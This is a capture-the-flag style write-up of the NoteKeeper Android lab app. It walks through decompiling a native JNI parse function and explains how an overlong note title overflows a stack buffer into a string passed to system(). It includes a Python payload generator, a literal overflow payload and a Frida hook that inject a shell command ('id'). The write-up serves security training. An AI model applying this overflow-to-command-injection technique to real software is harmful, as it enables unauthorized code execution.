Description: Welcome to the NoteKeeper Application, where users can create and encode short notes. However, lurking within the app is a critical buffer overflow vulnerability. Your mission is to uncover this vulnerability and exploit it to achieve remote code execution.
Install the app with ADB
adb install -r notekeeper.apk
We can see how this notes app allows us to enter a title and description.
In addition, once we save the note, it shows us a character counter (of the description).
Let’s decompile the apk with apktool
apktool d notekeeper.apk
Also, let’s inspect the source code with jadx.
We can see that this app call an library
static {
System.loadLibrary("notekeeper");
}
Let’s see the code of some function.
We can see this function:Java_com_mobilehackinglab_notekeeper_MainActivity_parse
With this content:
Java_com_mobilehackinglab_notekeeper_MainActivity_parse
(_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)
{
int local_2a8;
char local_2a4 [100];
char acStack_240 [500];
int local_4c;
ushort *local_48;
_jstring *local_40;
undefined8 local_38;
_JNIEnv *local_30;
undefined8 local_28;
local_40 = param_3;
local_38 = param_2;
local_30 = param_1;
local_48 = (ushort *)_JNIEnv::GetStringChars(param_1,param_3,(uchar *)0x0);
local_4c = _JNIEnv::GetStringLength(local_30,local_40);
memcpy(acStack_240,"Log \"Note added at $(date)\"",500);
if (local_48 == (ushort *)0x0) {
local_28 = 0;
}
else {
local_2a4[0] = FUN_00100bf4(*local_48 & 0xff);
for (local_2a8 = 1; local_2a8 < local_4c; local_2a8 = local_2a8 + 1) {
local_2a4[local_2a8] = (char)local_48[local_2a8];
}
system(acStack_240);
local_2a4[local_2a8] = '\0';
local_28 = _JNIEnv::NewStringUTF(local_30,local_2a4);
}
return local_28;
}
Let’s explain where the buffer overflow is.
- The overflow occurs in
local_2a4
, a 100-byte buffer, when data is copied fromlocal_48
without validating its size. - This allows overwriting adjacent values on the stack, including the
acStack_240
string, used in the dangeroussystem()
function.
How we can inject the malicious code?
- We injected a malicious payload that overflowed
local_2a4
and modified the contents ofacStack_240
. - We exploited the call to
system(acStack_240)
to execute arbitrary commands (id
) on the system.
Why this can work?
- There was no boundary validation in the loop that copies data to
local_2a4
. - The
system()
command directly executes what is inacStack_240
.
But, where we inject the payload?
According to MainActivity.java
class, we can see that the parse function of the library is used in the title
String cap_title = this$0.parse(title_);
And
public final native String parse(String Title);
- The title (
title_
) is passed directly to the native parse method, where the buffer overflow occurs. - The description (
note_con
) is not passed to the native method, but is used only to display content in the interface.
So, the char counter doesn’t matter clearly.
- The native parse method works with
param_3
, which directly receives the title as a String. - In the C code, the title is converted to a pointer (
local_48
) and copied into the vulnerable bufferlocal_2a4
.
local_48 = (ushort *)_JNIEnv::GetStringChars(param_1,param_3,(uchar *)0x0);
So let’s use this python script:
# buffer local_2a4 (100 bytes)
payload = "A" * 100
# Padding
payload += "BBBB" * 5
# command to execute 'system(acStack_240)'
payload += "; id > /data/data/com.mobilehackinglab.notekeeper/test.txt"
with open("payload.txt", "w") as f:
f.write(payload)
print("[+] Payload generated:")
print(payload)
print("[+] Saved as 'payload.txt'")
Then, copy the payload:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB; id > /data/data/com.mobilehackinglab.notekeeper/outputCommand.txt
And check the content with ADB
cat /data/data/com.mobilehackinglab.notekeeper/outputCommand.txt
Also you can try make it intercepting with frida the title, then replace it with the payload.
Java.perform(function () {
var MainActivity = Java.use('com.mobilehackinglab.notekeeper.MainActivity');
// Hooking
var parse = MainActivity.parse.overload('java.lang.String');
parse.implementation = function (title) {
console.log("[+] Intercepting parse...");
console.log("[+] Original Title: " + title);
// Craft payload
var payload = "A".repeat(100); // Overflow buffer
payload += "BBBB"; // Padding
payload += "; id > /data/data/com.mobilehackinglab.notekeeper/fridaInection.txt";
console.log("[+] Injected payload: " + payload);
// Call to the function
return parse.call(this, payload);
};
});
I hope you found it useful (:
Leave a Reply